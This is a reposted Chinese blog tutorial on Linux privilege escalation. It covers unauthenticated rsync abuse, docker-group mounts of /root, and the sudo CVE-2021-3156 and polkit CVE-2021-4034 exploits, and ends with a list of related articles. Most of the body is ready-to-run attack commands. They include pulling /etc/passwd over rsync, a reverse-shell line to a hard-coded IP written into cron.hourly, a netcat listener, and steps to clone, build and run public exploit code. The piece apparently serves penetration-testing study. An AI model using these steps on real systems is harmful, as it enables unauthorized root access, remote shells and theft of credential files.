Linux提权:Docker组挂载 Rsync未授权 Sudo-CVE Polkit-CVE

2024-01-29 08:36

本文主要是介绍Linux提权:Docker组挂载 Rsync未授权 Sudo-CVE Polkit-CVE,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

Rsync未授权访问

docker组挂载

Sudo-CVE漏洞

Polkit-CVE漏洞


这里的提权手法是需要有一个普通用户的权限,一般情况下取得的webshell权限可能不够

Rsync未授权访问

Rsync是linux下一款数据备份工具,默认开启873端口
https://vulhub.org/#/environments/rsync/common/
借助Linux默认计划任务调用/etc/cron.hourly,利用rsync连接覆盖
前提:没有账号密码验证 开放873端口

探针

rsync rsync://ip:873/

出现下面这种情况就说明存在未授权

思路一:下载获取对方的敏感文件

 到达对方的根目录

可以通过rsync下载敏感文件 /etc/passwd 到自己根目录 

rsync rsync://ip:873/src/etc/passwd ./

思路二:覆盖定时文件,定时反弹shell

Linux系统的定时任务一般在 /etc/crontab

可以本地构造一个反弹 shell 的定时任务 nc

/bin/bash -i >& /dev/tcp/47.94.236.117/3333 0>&i

赋予执行权限

chmod +x nc

上传文件覆盖定时任务目录下

rsync -av nc rsync://ip:873/src/etc/cron.hourly

下载文件

rsync -av rsync://47.94.236.117:873/src/etc/passwd ./

本地监听反弹 shell 即可

nc -lvnp 3333

docker组挂载

条件:普通用户在docker组

原理:利用docker服务启动镜像挂载目录、从而来访问root目录、etc目录等敏感文件来进行权限提升。因为docker的运行本身就需要root权限。

漏洞复现:

常见一个普通用户,并放到docker组内

useradd -d /home/test -m  test
passwd test
usermod -G docker test
newgrp docker

利用

发现对方主机上存在docker服务,敲docker相关命令,判断有么docker相关的服务

groups 用户名 查看当前用户是否在docker组内

从Docker上下载alpine镜像,使用参数 -it 进入 容器shell

docker run -v /root:/mnt -it alpine

这样就可以实现非root用户访问敏感文件,在尝试进行提权

Sudo-CVE漏洞

漏洞探针:这是版本漏洞,在版本区间都会受到影响

sudo: 1.8.2 - 1.8.31   p2
sudo: 1.9.0 - 1.9.5     p1

执行命令,看是否报错

sudoedit -s /

若不报错,提示sudio的usage信息;报错:

利用:下载EXP直接攻击

// 下载EXPgit clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156// 编译一下
make// 给执行权限
chmod a+x sudo-hax-me-a-sandwich// 执行脚本 1是选择模式
./sudo-hax-me-a-sandwich 1

Polkit-CVE漏洞

漏洞影响2009年5月至今的所有polkit版本
由于polkit是系统预装工具,所有存在polkit的linux系统均受影响
如:CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等

探针  

dpkg -l policykit-1

存在漏洞:

不存在漏洞

git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034/
make
./cve-2021-4034

这篇关于Linux提权:Docker组挂载 Rsync未授权 Sudo-CVE Polkit-CVE的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/656335

相关文章

Linux下修改hostname的三种实现方式

《Linux下修改hostname的三种实现方式》:本文主要介绍Linux下修改hostname的三种实现方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录linux下修改ho编程stname三种方式方法1:修改配置文件方法2:hFvEWEostnamectl命

Linux虚拟机不显示IP地址的解决方法(亲测有效)

《Linux虚拟机不显示IP地址的解决方法(亲测有效)》本文主要介绍了通过VMware新装的Linux系统没有IP地址的解决方法,主要步骤包括:关闭虚拟机、打开VM虚拟网络编辑器、还原VMnet8或修... 目录前言步骤0.问题情况1.关闭虚拟机2.China编程打开VM虚拟网络编辑器3.1 方法一:点击还原VM

Linux搭建Mysql主从同步的教程

《Linux搭建Mysql主从同步的教程》:本文主要介绍Linux搭建Mysql主从同步的教程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录linux搭建mysql主从同步1.启动mysql服务2.修改Mysql主库配置文件/etc/my.cnf3.重启主库my

Linux系统之authconfig命令的使用解读

《Linux系统之authconfig命令的使用解读》authconfig是一个用于配置Linux系统身份验证和账户管理设置的命令行工具,主要用于RedHat系列的Linux发行版,它提供了一系列选项... 目录linux authconfig命令的使用基本语法常用选项示例总结Linux authconfi

jdk21下载、安装详细教程(Windows、Linux、macOS)

《jdk21下载、安装详细教程(Windows、Linux、macOS)》本文介绍了OpenJDK21的下载地址和安装步骤,包括Windows、Linux和macOS平台,下载后解压并设置环境变量,最... 目录1、官网2、下载openjdk3、安装4、验证1、官网官网地址:OpenJDK下载地址:Ar

linux本机进程间通信之UDS详解

《linux本机进程间通信之UDS详解》文章介绍了Unix域套接字(UDS)的使用方法,这是一种在同一台主机上不同进程间通信的方式,UDS支持三种套接字类型:SOCK_STREAM、SOCK_DGRA... 目录基础概念本机进程间通信socket实现AF_INET数据收发示意图AF_Unix数据收发流程图A

linux环境openssl、openssh升级流程

《linux环境openssl、openssh升级流程》该文章详细介绍了在Ubuntu22.04系统上升级OpenSSL和OpenSSH的方法,首先,升级OpenSSL的步骤包括下载最新版本、安装编译... 目录一.升级openssl1.官网下载最新版openssl2.安装编译环境3.下载后解压安装4.备份

如何使用Docker部署FTP和Nginx并通过HTTP访问FTP里的文件

《如何使用Docker部署FTP和Nginx并通过HTTP访问FTP里的文件》本文介绍了如何使用Docker部署FTP服务器和Nginx,并通过HTTP访问FTP中的文件,通过将FTP数据目录挂载到N... 目录docker部署FTP和Nginx并通过HTTP访问FTP里的文件1. 部署 FTP 服务器 (

解读docker运行时-itd参数是什么意思

《解读docker运行时-itd参数是什么意思》在Docker中,-itd参数组合用于在后台运行一个交互式容器,同时保持标准输入和分配伪终端,这种方式适合需要在后台运行容器并保持交互能力的场景... 目录docker运行时-itd参数是什么意思1. -i(或 --interactive)2. -t(或 --

linux打包解压命令方式

《linux打包解压命令方式》文章介绍了Linux系统中常用的打包和解压命令,包括tar和zip,使用tar命令可以创建和解压tar格式的归档文件,使用zip命令可以创建和解压zip格式的压缩文件,每... 目录Lijavascriptnux 打包和解压命令打包命令解压命令总结linux 打包和解压命令打